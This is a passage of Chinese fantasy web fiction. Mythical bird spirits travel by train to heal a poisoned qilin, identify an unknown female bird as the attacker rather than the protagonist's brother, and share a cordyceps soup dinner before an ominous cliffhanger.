只是光想想,孔宣就要气炸了。 “不能听你的,你这家伙就是个锯嘴葫芦,藏藏藏,藏到最后什么都不和人说!” 孔宣气死了,凶巴巴地对着陆压一阵重申,喊着闹着陆压不可以再提这件事。 他眼中怒火中烧,一边生气一边为陆压打算:“这件事还有谁知道?会不会威胁到你?要不我们现在就去把人解决了。” 他叽里咕噜说了一通,陆压只盯着他的嘴巴,默默发起了呆。 陆压怔怔地看着生气勃勃的孔雀大王,那一瞬间他的眼神杂糅了许许多多的情绪,千言万语最终也只化作墨一般的深沉。 他低低地“嗯”了一声,似乎有一瞬间忘记了怎么回话,过了一会才说:“……没关系。” “他们现在都打不过我。” “你还挺骄傲哦。”孔雀大王忍不住生气,阴阳怪气地哼唧一声,扒拉着陆压衣服问:“除了这个,他们还对你做了什么?只喂灵药吗?还有没有对你不好?” 孔宣忍不住埋怨:“毕方和朱雀是干什么吃的,自家人被别人欺负了他们也不管!” 他们当然不管,陆压小的时候只是在危险中爆发些许天赋,但血脉斑杂,并不属于神兽的范畴,对于陆压虽然有所关心,但他到底要在人类中间生活。 在人类中间生活,只能交给人类自己管。 陆压心里清楚,面对孔宣的关心与不忿,才显得无所适从。 他年幼早慧,很多事情在很小的时候就已经经历过了,只是在此刻才将满身冷漠撬开一点痕迹。 “……没有,没有。”他低声说着,大手一个劲地在孔宣背后抚摸。 陆压望着孔宣,目光专注地像是在看一件稀世珍宝。 他咀嚼着这种陌生怪异的感觉,轻声说:“没有其他的了。” “真的吗?”孔宣狐疑追问。 陆压一次又一次点头,具体是真是假只有他自己知道。 孔宣半信半疑,打心里决定,以后一定要撬开这只锯嘴葫芦的嘴,倒个一干二净,看他还能藏什么东西! 陆压转移话题:“大王,今天晚上吃鸡还是鱼?” 重明带过来的鱼还活着,今天不吃养一养是没问题的。 贪嘴的孔雀大王大声哗哗:“当然是都要吃!” 他欢呼一声,一把扑到陆压肩膀上,抱着他的肩膀左右摇晃:“都吃都吃都吃——” “吃黄焖鸡、酸菜鱼、小炒鱼、炖鸡汤……” 孔雀大王报了一连串的菜名,陆压扛着孔雀大王走进厨房,只顾着连连点头。 “好好好,都吃都吃。” 又是一天清晨。 早早地就有人在楼下开始叫人:“孔宣——” 三楼窗户探出一个毛躁躁的脑袋,一连被吵醒好几次的孔雀大王怒上心头,抓着头发怒喊:“叫魂啊重明!” “你闲得没事,怎么又跑我这里来了?” “你当我愿意啊。”重明翻了个白眼,马尾辫在空中一晃一晃。 她这次依旧提着一个袋子,把袋子往陆压怀里一塞,和孔宣互怼起来:“来你这一趟我得坐两小时火车,很辛苦的好吧?” “那你别来。“ 孔宣趴在楼梯围杆上,像是一只怨气十足的小鸟,探出个脑袋,眼睛幽幽地盯着重明。 重明才不管他,她直接对着陆压说:“你昨天说的解毒,真的靠谱吗?” 这可踩了火药桶了。 孔宣一下子蹦了起来,坐在扶梯上顺着往下滑到一楼,直接跳到重明与陆压中间,他叉着腰,努力支棱起超凶的表情,张牙舞爪地呵斥。 “假的假的,我们陆鸦鸦才不会解毒,你找他,小心他给你治死了。” 这种话重明才不听,她脑袋往左边偏,孔宣就往左边拦,往右边偏,他就往右边拦。 像是护小鸡仔的老母鸡一样,把陆压护得严严实实的。 重明无语:“我又不是看上他了,你这么紧张干什么?” 孔宣哼了一声,就是不肯让开。 背后有人扒拉他,他反过手不耐烦地反推回去,最后实在忍不住了,叉腰转过身拧着眉凶巴巴地训斥:“你扒拉我干什么!我都说不可以不可以,你昨天一点都没听,你这只坏鸦!” 他气哼哼的,忍不住想咬陆压,最好把他咬清醒了。 “大王,你先看看这个。” 陆压提起袋子晃了晃,里面的东西还在扑腾着腿,塑料袋簌簌作响,都快兜不住了。 孔宣探头看了一眼,只见袋子里兜着一只灰扑扑的鹰鸟,长得像是鹞鹰却长着人一样的脚,一被放出来,顿时发出“数斯数斯”的叫声。 这是一只可以治瘤病的妖鸟。 重明兜着手,朝他们挑眉:“我这次来可是很有诚意的,一只数斯。” “你就帮帮我吧。”她嗓音放软,拉着孔雀大王轻声说。 孔雀大王可一点都受不了糖衣炮弹,平时陆压夸他几句,他都要高兴坏了,嘴角止不住地上扬。 重明性格一向大大咧咧,让她说软话比杀了她都难,但就是知道她这个性格,难得服软可把孔雀大王哄高兴了,看不见的羽毛都支棱起来了。 陆压无奈摇头,随手抽了根绳子把数斯的腿捆了,准备找个地方放好陪大王走一趟。 没想到孔宣断然拒绝:“不行。” 这可让重明为难了。 “不是,这都不行?” “不行!”孔宣坚定摇头。 重明茫然地摸了摸脑袋,忍不住“嘶”了一声,彻底没辙了。 她思考了一会,狠狠皱起眉:“如果我说,那伤口像是熟人弄出来的呢?” 这样的话让孔宣稍微有了点兴趣,他往后靠了靠,换了个舒服的姿势。 显然他并不打算松口,但愿意听一听。 陆压也适时走到他的身后,让他更加舒服地靠在自己身上。 两个人都一副要听好戏的姿态,重明在原地转了转,彻底没辙了。 “好吧,你们知道的,我最多也只会包扎包扎伤口用点草药,毒我是真不熟悉,我一定要来找你也是有原因的。” 重明说着,眼神朝孔宣看了一眼。 就这一眼,让孔宣突然有了不好的预感,他稍微坐直身体,往重明那边倾了倾。 重明继续说道:“其实麒麟身上的伤问题不大,多吃点有灵气的补补就好,但是他伤口上有一种毒,孔宣,或许你比我清楚。” “你凭什么认定会是金鹏?”孔宣冷眼质问。 涉及到他弟弟的事,他双手环抱,深深拧起眉,一副不想搭理的模样。 重明只说:“是不是,你去看了就知道。” 鸟类善毒的不多,但是金鹏性格阴沉,爱玩这种小把戏,爪子上常年淬毒,被抓上一次毒素侵吞效果明显。 孔宣对此看不上眼,但他对家人十分珍惜,被金鹏说一说撒撒娇也就只是拧着眉让他非必要不要用。 至于解毒。 孔宣唯一会解的毒,也只有这种了。 此刻他拧着眉,一言不发。 陆压无声叹了口气,低声递台阶:“我们去看一眼,看一眼就回。” “你不能救人。”孔宣还是不太情愿。 “好好好,让大王救。” 陆压低声哄了几句,再三保证自己不会出手。 孔宣这才不情不愿地点头:“好吧,我陪你去一趟,但说好,如果不是金鹏的毒找我也没用,你老老实实找丹雀别再找我了。” 他抱着手臂,说话冷酷无情,非要逼着重明答应。 重明挑眉:“那要是金鹏干的你可得帮我把人治好了!” “不可能!”孔宣不耐烦了:“金鹏早死了。” 如果还活着…… 孔宣又皱起了眉。 金鹏之前袭击丹雀的事他还没找他算账,又袭击麒麟,这家伙真的要挨打! 翅膀都给他打折了。 第53章 第53章虫草数斯汤 “……”…… “……” “为什么是坐绿皮火车啊!” “哐当哐当”行进的绿皮火车里挤满了老人家门带上车的农副产品, 又一次被站立不稳的老人家撞到,孔宣忍无可忍,一把将怀里的鸡抖下去。 大母鸡拍打着翅膀,扑簌簌落了他一脸羽毛。 重明脚下挤着一篮子橘子, 怀里帮一个老人家抱着鸡蛋, 她神色镇定极了, 随手剥了一个橘子递给孔宣。 “消消气消消气,这火车怎么了?这火车可太好了, 又便宜又能进牲畜,老人家们就靠着这条线路卖点东西生活了。” 重明显然习惯了, 她和孔宣坐一边,陆压坐在对面,身边坐着一个去城里卖东西的老人家。 除此之外,还有一些坐不到位置的,只能带着自己的大包小包坐在过道上。 绿皮火车的车厢经过改装, 位置少,车厢大, 方便牲畜和货品上车。 从小城市通向大城市, 就这么一趟,小地方卖不上价的东西可能就能多买十几二十块。 重明一边剥橘子一边说:“没让你让座就不错了, 别吵。” 孔宣被橘子堵了嘴, 气呼呼地往旁边挪了挪位置,重明都快被他挤成纸片了, 两个人挪啊挪,硬是又挪出了一个位置给刚上车的老人家。 正互相用手肘击对方时,对面的陆压站了起来,把位置让给了一个老人。 孔宣和重明也一个接一个地站起, 有位置坐的老人顿时千恩万谢,把卖不出去的菜往他们手里塞。 重明果断举了举手,表示自己手里有,拿不了。 就这么站了一个多小时,绿皮火车晃悠晃悠,终于晃悠到了一座灰扑扑的小城边上。 重明带着人下了车,不忘塞给卖橘子的老人家二十块,她像是个导游,晃悠着马尾辫招呼陆压和孔宣跟着自己走。 孔宣视线在周围晃悠晃悠,忍不住挑眉:“你在这里很受欢迎啊?” 光下车走这一段路,重明熟练地和遇到的每一个人打招呼。 “这地方又小又穷,年轻人都出去打工了,就我一个年轻人可不就认识我吗?”重明一边说,一边在小摊上买了几袋子杂鱼和一把豆角。 穿过贫瘠灰暗的小街巷,他们走过掉漆的小楼,拐进像是自建房的小楼群里,在临海的一家门口站住了。 重明掏出钥匙,打开门放他们进去。 小楼用红砖搭建,表面的白漆都掉干净了,裸露着红砖水泥,空空荡荡地看不到几件家具,依旧打扫得十分干净。 孔宣和陆压进了房子,视线看了一圈,只觉得家徒四壁。 富贵对于重明这种存在来说早就是过眼云霄,陆压提着用袋子套住的数斯跟着重明进了厨房,厨房依旧空荡荡的。 重明捧着唯一一盆绿豆汤出来招呼人:“我这屋子远离人群,平时也没什么人来,当然也没有什么好招待的,就厨房一盆绿豆汤,你们要吗?” 不等两人反应,她利索地舀了三碗,一人一碗分了,自己端着咕咕咽干净了。 “走走走,跟我上楼看病人去。” 她雷厉风行,碗一放就要人跟着她走。 孔宣匆匆忙忙把碗一放,跟着她的脚步进去房间,看见一张单人床上放着一只似鹿似犬的巨兽,巨兽身披水蓝麟甲,头有鹿角,垂着长长的牛尾。 是一只从不周山上下来的水麒麟。 “哝,他就是从那里掉下来的。”重明一指头顶,头顶一个半倒塌的大坑粗糙地用木板盖住,稍微遮了遮缝隙。 孔宣一时无言以对:“你就这样凑合?” “不然呢?”重明摆手。 想修屋顶,也得有那个技术啊! 重明倒不是不想修,主要是家里多了一只麒麟,就算用障眼法遮住,来来往往人一多也难保不出意外。 也得亏是掉到了重明头上,要是像他的前辈一样,好好被人射杀了,可没有孔子再来哭一哭君王无德。 孔宣与重明插科打诨几句,孔宣抓着麒麟的蹄子摸了摸心肺,又去翻藏在鳞片下的伤口。 麒麟依旧闭着眼睛,只有起伏的呼吸昭示着他还活着。 藏在鳞片下的伤口被剥出来,一眼就是鹰钩利爪挠的,深深陷入皮肉,伤口周围泛着淡淡的青紫。 “我就说是金鹏吧?”重明抱着手臂,好整以暇地站在旁边看孔宣动作。 孔宣脸色一下子沉了下来,他抽回手,手上染着黑红色的血,湿淋淋地沾在皮肤上,血腥味直叫人作呕。 “我需要一点东西。”他说着,把身上背的包卸下。 里面是临时去药店买的草药,但更多的是一些瓶瓶罐罐。 孔宣手脚麻利,几乎没有什么迟疑,轻松地把解药塞进麒麟嘴里,指挥陆压把伤口周边的肉给割掉。 麒麟是神兽,自愈能力远超人类,只是割去一点肉,被孔宣塞上一口神药,眨眼间就只剩下浅浅的碗口大的伤口。 再用临时买的消炎止血的草药熬煮灌下去,基本上就只等伤口自己愈合了。 做完这一切,孔宣叼着半截能量棒,站在小楼的楼顶眺望远方。 远方海岸潮起潮落,海浪打在沙滩上又悄无声息地褪去。 他脸色并不好看,把巧克力味的能量棒咬得咔咔作响。 海风吹动他的衣角,却吹不动他满心的复杂。 有人从楼梯走上来,他头也没回,低头咀嚼巧克力碎时,垂落的眼睫控制不住地颤了颤。 “大王。”陆压出声。 “……是他干的。”孔宣说。 他揣着手,一边思考一边说:“其实我不是很明白,很多事情我都不明白……他为什么要做这些事。” 对孔宣来说,他在乎的事就是最重要的,除此之外,他可以不在乎任何人任何事,但是金鹏有太多太多的事在乎。 别人是不是看不起他,是不是不喜欢他,是不是对其他人比对自己好…… 金鹏有太多太多在乎的东西,他总说自己小的时候过得不好,他克制不住。 他总会做下错事,然后又跪在孔宣面前痛哭流涕,发誓自己以后再也不敢了,让哥哥再帮他一次。 孔宣打也打过骂也骂过,也试图把他关在没有人的汤谷反省,但一错眼,他好像又做了许多错事。 可那是妈妈拿命保下来的、他唯一的亲人啊。 孔宣忍不住叹气。 他一直情绪外露,开心就是开心不开心就是不开心,很少像是现在这样,阴霾爬上眼尾,透出淡淡的无力。 有那么一瞬间,他或许真的宁愿金鹏死了。 陆压靠过去,一口叼住孔宣手里半截能量棒,“咔嚓”一声,他手指摩/挲着青年光滑的下颚,黑眸深邃意气沉冷。 他品味着巧克力略带苦涩的味道,轻慢的嗓音透着安抚与莫名的寒凉:“没关系,他会变好的。” “大王,不要难过。”陆压主动靠近,他侧过脑袋,黑发从他的眉眼滑落到孔宣脸上,轻轻地搔弄过他的眉眼,他也跟着发尾轻轻与孔宣触碰在一起。 脑袋对着脑袋,手掌按着肩膀,在细瘦的肩膀不断厮/磨。 “我会和你一起教导他。” 没关系,如果孔宣想要一个乖巧的弟弟,那这个恶人就让他来当。 陆压按着孔宣的脑袋,两个人轻轻靠在一起,在孔宣看不见的角落,他眸色深沉,手掌却耐心十足一下一下安抚般拂过他的后脑。 力量几乎遍布在他每一寸的肌肤下,此刻他却像是抚摸一具温润易碎的瓷器,动作中充满了小心翼翼。 男人宽阔的肩膀总是藏匿进衣服下,只有靠近的时候才能品味到他身上传递过来的力量感,像是从风雪硝烟中走出,一举一动都透着从容的意味。 很让人安心。 孔宣闭了闭眼,似乎从男人身上闻嗅到了淡淡的硝烟味,夹杂着血腥的清甜。 又或许,是他自身的想法。 孔宣猛地睁开眼,瞬间又满血复活,双手攥紧拳头在空中挥舞了一下。 “没错!”他眼眸火焰燃烧,像是有熊熊烈火即将要燃烧一切。 “臭弟弟就是要挨揍,看我不把他翅膀打折了!” 臭弟弟就是欠教导! 孔雀大王必须打折这浑蛋玩意的翅膀! 孔宣怒上心头,决心要金鹏尝尝原生家庭的恐怖。 鸟腿都给他打断! 重明在楼梯口喊他:“孔宣,麒麟醒了!” “我去了!”孔宣视死如归地和陆压比划了一下,迈着六亲不认的步伐,雄赳赳气昂昂地去面对债主去了。 陆压手下一空,孔雀大王撒手没,已经气势汹汹地走向既定的命运。 陆压愣了下神,忍不住失笑出声:“好吧。” 孔雀大王不需要安慰。 陆压咬了咬腮肉,不无遗憾地追了上去。 他追着孔宣的脚步下了楼,一进房间,就听见孔雀大王响亮的声音。 孔宣来势汹汹,冲到麒麟面前居高临下地大声宣布:“你放心,麒麟,你的委屈我心里知道,我作为金鹏他哥绝不会袖手旁观,这件事我一定会给你一个交代。” “你有什么要求尽管提,就是舍了我这条命也补偿你,等我找到金鹏,我必把他翅膀打折了扔你面前谢罪!” 陆压:…… 大王,你也太意气了! 第54章 第54章虫草数斯汤2 “啊……… “啊……”麒麟满脸空白, 呆滞地仰望着拦在眼前的身影。 紧接着,另一个人影推开了眼前的人,两个人拉拉扯扯,或高或低的声音议论着, 嗡嗡灌进他的耳朵。 麒麟眼前发晕, 只感觉天地旋转, 眼前一片混乱。 “快!他要晕了!”有人惊呼出声,这声音像是从遥远的天际传来。 紧接着, 麒麟感觉人中一痛,滚烫苦涩的汤药灌进口中。 “唔唔——”他拼命挣扎, 总算从快要噎死的噩梦中缓过神来,仰着脑袋重重呼出一口气。 他大口大口地呼吸,熟悉的晕眩感在极致的危机中烟消云散,他晃了晃脑袋,茫然地眨眨眼睛。 “咦?”模糊的视线清晰起来, 麒麟茫然环顾四周,视线在人群中转来转去:“重明?孔雀?金乌?” 重明大松了口气:“活了活了!” 她顿时高兴地大叫, 撸起袖子就往外走:“等着, 我就这就给你煮点吃的喝的好好补补。” 重明欢天喜地地走了,陆压也站起身, 体贴地把空间留给他们。 “我去帮重明炖汤。” 整间房子里只剩下孔宣和麒麟。 孔宣抱着手臂, 勉强在床边坐下,孤傲如孔雀大王, 第一次这么憋屈,语气的傲气都隐忍了几分:“麒麟,来跟我说说你受伤的事。” “你放心,这件事和金鹏有关, 我一定会给你一个交代。” 孔宣一诺千金,语气更是笃定极了,满是安抚的意味。 麒麟晃了晃脑袋,面露茫然,有一瞬间表情空白,像是不知道孔宣在说什么。 “你说……金鹏?” 他略有点迟疑,脸上露出极为茫然的表情,喃喃自语:“是金鹏干的吗?” 好像不是? 麒麟大病初愈,只感觉头疼欲裂,他不停地顺着孔宣的话去回响,孔宣的脸在他眼前变得模糊一片,隐约间仿佛又看到了那个袭击他的身影。 “不、不……”麒麟甩甩脑袋,语气虚弱却有力,一双湛蓝的眼睛盈盈望向孔宣。 他无疑是性格极其温和的存在,也不会随随便便冤枉人。 麒麟玉虚安摇摇头:“不是金鹏。” 这个回答可大大出乎了孔宣意料,他下意识抱紧手臂,无意识地仰起脑袋,眉毛纠缠在一起,一脸困惑。 孔宣质问:“你知道你身上中了毒吗?金鹏的毒。” 被他这么一说,玉虚安笃定的语气瞬间弱了:“这、这样吗?” “可是、可是……”他悄声说:“袭击我的,是只雌鸟啊。” 而且…… 玉虚安脸悄悄红了,忍不住干咳几声:“我觉得我应该没有误会,那只雌鸟想捉我去当压寨夫郎,我不愿意她才想用强的。” 麒麟当时一觉从地里醒来,稀里糊涂被狂暴的雨水冲出山体,幸亏有几个穿着红色马甲的人类划着奇怪的小舟把他救起来,还给他安排了住处和吃食。 麒麟偷偷听人类说话,才知道那些人是人民军队,过来抗洪救灾的。 他们把玉虚安当成灾民,看他衣服破破烂烂又一副虚弱的样子,还给他安排了医生。 那些人类判定玉虚安可能脑震荡暂时失忆了,公安局还帮他写文件寻亲。 用公安局临时办的身份证,玉虚安混进了人类群里,找了个日结的搬砖工作,租了偏僻地方的群租房勉强安顿下来。 一天晚上下班,他省钱走路回家时,偶遇了一个长相漂亮的女孩子孤零零地在路口徘徊。 他当时还以为对方是迷路了需要帮助,主动靠过去把自己今天赚的工资都递给了对方。 玉虚安想到这里,莫名看向孔宣。 当时不觉得,现在看起来,那个小姑娘的眉眼有一分像孔宣。 玉虚安陷入沉思,孔宣不耐烦地催促他:“遇到落难的女孩,然后呢?” 玉虚安捂着伤口虚弱地笑笑:“然后她说我长得好看,问我愿不愿意当她第十八个丈夫。” 虽然知道现在社会男女关系不如他们以前封建闭塞,他们长命种之间也不是没有玩得花的,但是那个小姑娘看起来才成年没多久,把玉虚安吓了一跳。 他委婉推拒,急急忙忙要走。 小姑娘拉着他,拉拉扯扯间突然变成一只似鹤的大鸟,身上披着金黄色的鹰羽,怒气冲冲地骂玉虚安不识好歹,发话要把玉虚安捉回巢穴当压寨夫郎。 玉虚安不肯,两个人就这么打了起来。 玉虚安凝眉深思了片刻:“说起来,那小姑娘看起来有点眼熟,但我是一点都不认识。” 那小姑娘看起来才刚换了羽毛,不知道哪里来的十个八个压寨夫郎,叫嚣的口吻十分熟练,武力值也特别高。 尖尖的喙嘴一戳就是一个血洞,明明像是一只鹤鸟,却拥有一对鹰爪,一把下去挠得人血流如注,隐隐泛着黑血。 玉虚安眼见打不过,慌不择路就要跑,摇摇晃晃地飞出几百里地都不敢停歇。 后来不知道怎么就晕了过去,再醒来就是现在了。 …… 陆压几次差点把蒜苗当成虫草丢进锅里,重明实在看不过眼,挥舞着锅铲气势汹汹地赶人。 “你再这样就离开我的厨房!” 陆压回过神,连忙把丢进锅里的蒜头挑出。 他进了厨房,没管重明说要杀一只鸡的话,直接把重明捉住的那只数斯给杀了。 陆压动作干净利索,拎着翅膀拽着脚,刀往脖子上一割,血哗啦啦地流进沟槽里。 刀身一线血线连连滴落,映出他凉薄锐利的眉眼。 重明快速拿了个盆把血接了,嘴里吐槽:“败家爷们,这玩意能吃的也丢?” 她快速处理兽血,打算炒个血给麒麟补补。 陆压:“……麒麟是吃素的吧?” 重明军伍出身,一点都不挑剔:“管它吃素还是吃荤,一锅炒了大补。” 这么一个厨房塞了两大厨,陆压和重明各有各的拿手绝活,差点就因为炖汤里要不要放红枣海带打起来,最后说定各弄各的。 结果陆压炖汤的时候,心思忍不住跑偏,好几次差点把蒜头塞进汤锅里。 重明是彻底看不下去了:“担心你就过去看看,别在厨房里糟蹋粮食。” 陆压手脚麻利地把数斯肉和虫草、枸杞塞进锅里,他垂着眼,浓密的睫毛低垂着遮住眼底流动的光彩,淡淡的语调不露山水。 “大王自己可以搞定的。” “而且。”陆压喃喃自语:“这种事,我们外人在不太好。” 说不定孔宣并不希望别人听到他弟弟的坏话? 重明不赞一词,只默数几个数。 果然,陆压把汤炖上,没三秒就忍不住往楼上走。 重明忍不住翻了一个白眼,懒得理这种嘴硬鸟,猛猛开火准备搞出一桌好菜。 陆压上了楼,脚步一直到房间门口才稍微加重了一点。 他凝神静气听了一会儿,什么都没有听到。 房间里,孔宣和麒麟正一人一边坐在床的两侧,他们拿着不知道哪里找来的笔和纸,低着头不知道在干什么。 陆压不动声色地走到大王身后,眼睛睨了一眼草纸:“大王,你在干嘛?” 画鸟? 孔宣头也没抬,咬着笔纠结着眉头,脸上呈现出一种空白的焦灼,似乎是CPU都给烧坏了。 “我在思考。”他说。 “思考什么?”陆压不动声色,循循善诱。 “思考……”孔宣下意识回头,一头撞进男人的怀里。 他脑袋撞在陆压的腰腹上,陆压肌肉紧绷一瞬,很快又放松下来,这一瞬间硬邦邦的可把孔宣磕惨了。 他捂着头,气呼呼地瞪圆了眼睛,狠狠戳了戳陆压的腹肌:“那么硬干什么!” 就只有你有八块腹肌吗! 孔雀大王有六块! “是是是,我的错我的错。”陆压软下嗓音,一边帮大王揉脑袋一边认错。 认错态度极其良好。 孔宣还是气鼓鼓的,一把撇开他的手:“别摸我头!” 坏鸦! 陆压无奈:“好好好。” 两个人你来我往地互动,完全没有在乎旁边还有一个人。 玉虚安瞪圆了眼睛,不可置信地看看陆压再看看孔宣,一时间居然有种莫名的荒诞感。 孔雀和金乌? 他眼睛睁得滚圆,被孔宣瞪了一眼,立马怂怂地低下头,老老实实地开始画画。 “大王,你们在画什么?”陆压忍不住发问。 孔宣手里的画十分潦草抽象,只能隐隐约约看出是一只鸟,麒麟就不同,他手绘极其工笔,用圆珠笔绘画出了水墨画的风采。 孔宣画鸟,麒麟也在画鸟。 为什么都要画鸟? 孔宣这才想起自己的画,他咬着笔头,一边纠结一边漫不经心地回答:“因为我发现,金鹏可能不是罪魁祸首。” 说到这个,孔宣眼睛一眯,伸手推了推脸上并不存在的眼镜,锐利的眼睛仿佛有精光闪烁,他眼神锐利精明,隐隐有白光掠过,似能将所有看透。 “有一只鸟,用金鹏同样的毒作威作福!大抢特抢!拥有十八个压寨夫郎!” 真是太过分了! “真是太过分了!” 重明一听到这话,顿时怒从心头起,愤怒拍桌:“我都没有十八个压寨夫郎!” 那叫一个痛心疾首,懊悔不已,脸上夹杂着几分原来还能这么干得恍然。 陆压:??? 孔宣:??? 玉虚安怂怂地拉起被子,悄悄裹紧了自己,一脸惊恐地看着重明。 你也要强抢民男吗? 拍案就起、大怒咆哮的重明嫉妒的话脱口而出,反应过来后,立刻干咳几声,摆摆手虚假挽尊:“我是说,太过分了!怎么能强抢民男呢?” 真的太过分了! 重明摆摆手,示意大家都坐下都坐下,她矜持地坐下,干咳几声又是一副大姐大的爽朗阳光模样。 玉虚安勉强放下被子,挪到床边,弱弱地把自己的画递上:“大概,就是长这样的。” 他和孔宣对坐着埋头苦画,就是为了画出罪魁祸首的样貌。 金鹏的毒在一个叫嚣着有十八房夫郎的雌鸟身上,孔宣一时间有种不好的预测。 他默默抱紧自己,思考着要是弟弟遭遇什么不测,比如是某一房嗯嗯……他作为哥哥能做的,只有誓死捍卫弟弟复仇的权利了。 这个消息对孔雀大王颇有打击,他扶着额头,一时间居然不敢看重明的表情,就怕重明再给出噩耗。 然而幸运中的不幸,重明看了半天,一脸困惑发问:“咱们家族群有这只鸟吗?” 孔宣:??? “你不认识?” 孔宣不可置信地瞪圆了眼睛,他一把拉住陆压的胳膊站起来,抽过草纸盯着上面的鸟,就快把草纸看出花来了。 重明抱臂:“你也不认识吧?” 孔宣与重明对视,都从彼此眼中看到了陌生。 “总感觉在哪里见过,很有即视感,但很陌生。” 这样的描述在两只神鸟脑中转了一圈。 他们并不是七秒钟记忆的鱼类,鸟类的智商也绝没有人类想的低下。 也就是说,他和重明都不认识。 这在家族式抱团的神鸟群里,简直就是不可名状的存在。 怎么会有他们不认识的神鸟! “会不会是外国妖怪?”重明猜测。 “问问朱雀。”孔宣掏出手机,利索地拍照传图。 陵光一时没回,可能在忙。 总而言之,这件事不是金鹏干的。 重明分析:“听起来是兴起作案,并没有什么阴谋诡计。” 也就是说,玉虚安目前非常安全,不用担心被人寻仇。 孔宣打了个响指,眉飞色舞地挑起眉:“说得没错!” 不是金鹏做的,孔宣顿时支棱起来,招呼着众人开饭:“既然没有问题,那我们就开饭吧!” 他已经闻到了空气中的浓汤味了。 数斯炖的汤,汤底澄澈金黄,虫草和枸杞浮在汤面,只是闷在瓦罐里就香得勾魂,等上面的盖子一掀,更是香得人神魂颠倒。 重明搬了桌子进屋,嗓音清扬地招呼众人快上桌吃饭。 一锅热气腾腾的汤放在中间,四幅碗筷各摆一边,孔宣和陆压端着菜放在桌子上。 四菜一汤,丰盛极了。 玉虚安被请上桌前还连连感慨:“你们不用这么客气!真是太客气了!” 他在工地搬砖都吃不上四菜一汤。 等他上桌子一看,顿时懵了。 只见桌子上摆着一盆虫草炖汤,一盘酸菜炒鸟血、素炒萝卜、山药排骨和一叠玉米炒青豆。 四菜一汤,一半都是荤菜。 玉虚安正在想要怎么越过排骨去夹萝卜和青豆时,一碗香喷喷的金汤落在了他的面前。 他顿时慌乱:“啊!我不吃肉的!” “没有肉,只有汤而已。”孔宣叼着鸟腿,三两下炫完一根,吐出大骨头解释。 “这汤超级补,你失血过多,多喝几口多喝几口!”重明把汤碗往他面前一推,喋喋不休地邀请。 陆压默默移开头,表示自己爱莫能助。 玉虚安顿时急得原地起跳,满地打转跑,惊恐地大叫:“你们不要过来!” “真的很好喝的!”重明狂追。 两个人顿时在不大的房间里绕起了圈圈,最终玉虚安不敌重明的蛮力,硬是仰着脑袋被灌了几口汤。 “我不吨吨吨——” 他呛了几口,涟涟水珠落在衣服上,柔弱隽秀的眉微微蹙起,闷闷地咳了几声。 脸上又是无奈又是苍白,虚弱得直泛咳嗽。 他大病初愈,身上还有伤,被重明堵着活像是强抢民男的可怜人。 热心地重明后知后觉对方不是她随随便便收养的小动物,连忙撒了手,下意识后退几步。 “对不起……”她刚道歉,手上的汤碗被人接了过去。 玉虚安笑得无奈,端着碗抿了几口,温声说:“入口温泽细腻,还挺好喝的。” 他的眼睛还看着重明,湿润的蓝眸像是一片湛蓝的天空,似宝玉般温润而泽。 “哦……”重明干巴巴的应声。 孔宣抿了口汤,顿时感觉这汤炖得十分美味,撇去油脂后清澈爽口,一口抿下,口齿留香。 他咕咕喝了半碗,才抬起头调侃重明,说话十分耐人寻味:”到底是汤香还是鸟香?” 重明甩了个白眼给他:“吃得还堵不上你的嘴!” 玉虚安看着重明,重明顿时觉得现在气氛刺挠,一把扯过玉虚安手里的碗,大大咧咧地说:“你实在不能喝就算了,我自己喝。” 她脑袋一仰,剩下半碗汤自己猛猛喝完了。 “香爆了!”重明喉咙滚动,直到碗里汤喝完了,才记得抬头大呼。 怎么会有这么香的汤! 入口丝滑,口齿留香,数斯的味道与虫草枸杞炖在一起,不知道怎么处理的,难得没有中草药的苦涩,肉味弥散在汤里,只剩下清澈的味道落在味蕾,油脂完全被撇去,又不至于寡淡无味。 就这么一口,把重明香迷糊了。 顿时也不管什么玉虚安还是麟虚安了,秒上餐桌,举着筷子招呼:”快来吃饭啊!还愣着干什么?” “这汤炖得真好!” 玉虚安虚弱地笑了笑,茫茫然地坐上餐桌,只是视线还落在重明手上的碗上。 “麒麟,你之后打算怎么办?”孔宣出声,拉回他走丢的魂。 玉虚安回神,思考了一下:“我继续去工地搬砖?” “要不要换个城市?”陆压适时出声。 他转过头,深邃的黑眸落在玉虚安的身上,似乎能看透他内心的迟疑:“我有办法帮你办身份证,你可以找个地方先躲一躲。” 毕竟那个一言不合就要强抢民男的小姑娘说不定还在那地方徘徊,玉虚安回去简直自投罗网。 玉虚安思考了一下。 重明大手一挥,爽朗地拍拍他的肩膀:“还纠结什么啊!这段时间就住我这里养伤,你也别想那么多,要是真有鸟犯下多起大案,毕方和朱雀不会不管的。” “可是……”玉虚安欲言又止,架不住重明的力气,忍不住晃了晃。 就这个虚弱程度,走出去都能被人单杀了。 重明摇摇头,语气强硬起来:“就这么说定了,你放心,我之前欠你一顿酒,绝对不会不管你的!” 玉虚安的去处就这么三言两语敲定了,孔宣一边往嘴里送饭一边看他们两个。 忍不住侧过身跟陆压吐槽:“我怎么感觉哪里不对劲。” 陆压:? 这话重明耳尖听到了,她顿时面露凶恶,皮笑肉不笑地朝孔宣露出一个狞笑。 “你少来!” 孔雀大王就不是吓大的! 孔宣正要反击,被陆压一拉,顿时哼了一声,懒得搭理这只暴力雌鸟! 一顿饭吃完,玉虚安也安置好了,孔宣和陆压就要走了。 重明把他们送到门口,只有他们几个,她兜着手站在门口,风吹起她的衣摆,她语调严肃:“孔雀,我觉得这件事并不简单,你多小心。” 他们眼熟又不认识,还和金鹏有牵扯。 重明左思右想,总觉得事情并不简单。 “你放心吧,金鹏那家伙从小就打不过我,真敢搞事,翅膀都给他打折了。” 孔宣漫不经心,视线向上看到了窗边的玉虚安,他挥挥手,离开的背影飒飒缠风。 他的身边还有一个人,高大的男人背影沉稳,不紧不慢地跟随在孔宣身边,隐约回护着他。 重明严肃的情绪稍稍缓和,她想:也对,金鹏那小东西能干什么坏事? 他们都想得简单,孔宣回程路上买了根棒棒糖,踩着黄昏的界限和陆压一起下了火车。 “下次可不坐这玩意了。”孔宣皱着眉,语气嫌弃。 想到一只鸡差点飞大王脸上,陆压忍俊不禁:“好,下次我们坐高铁。” “这个好!”提到高铁,孔宣眼睛一亮,连忙赞许。 他们说说笑笑地回家,此刻,枝繁叶茂的桃树越过院墙,簌簌飘散几片残叶落进邻居的院墙内。 不知何时起的风卷着落叶飘到了台阶上,暗色的液体缓缓从里面晕出了痕迹。 极度密闭昏暗的室内,浓郁的血腥味冲天透出,一具庞大的血肉尸体连接着密密麻麻的猩红血线,不断地颤抖闪烁,未知的呓语在痛苦中疯狂嘶吼挣扎。 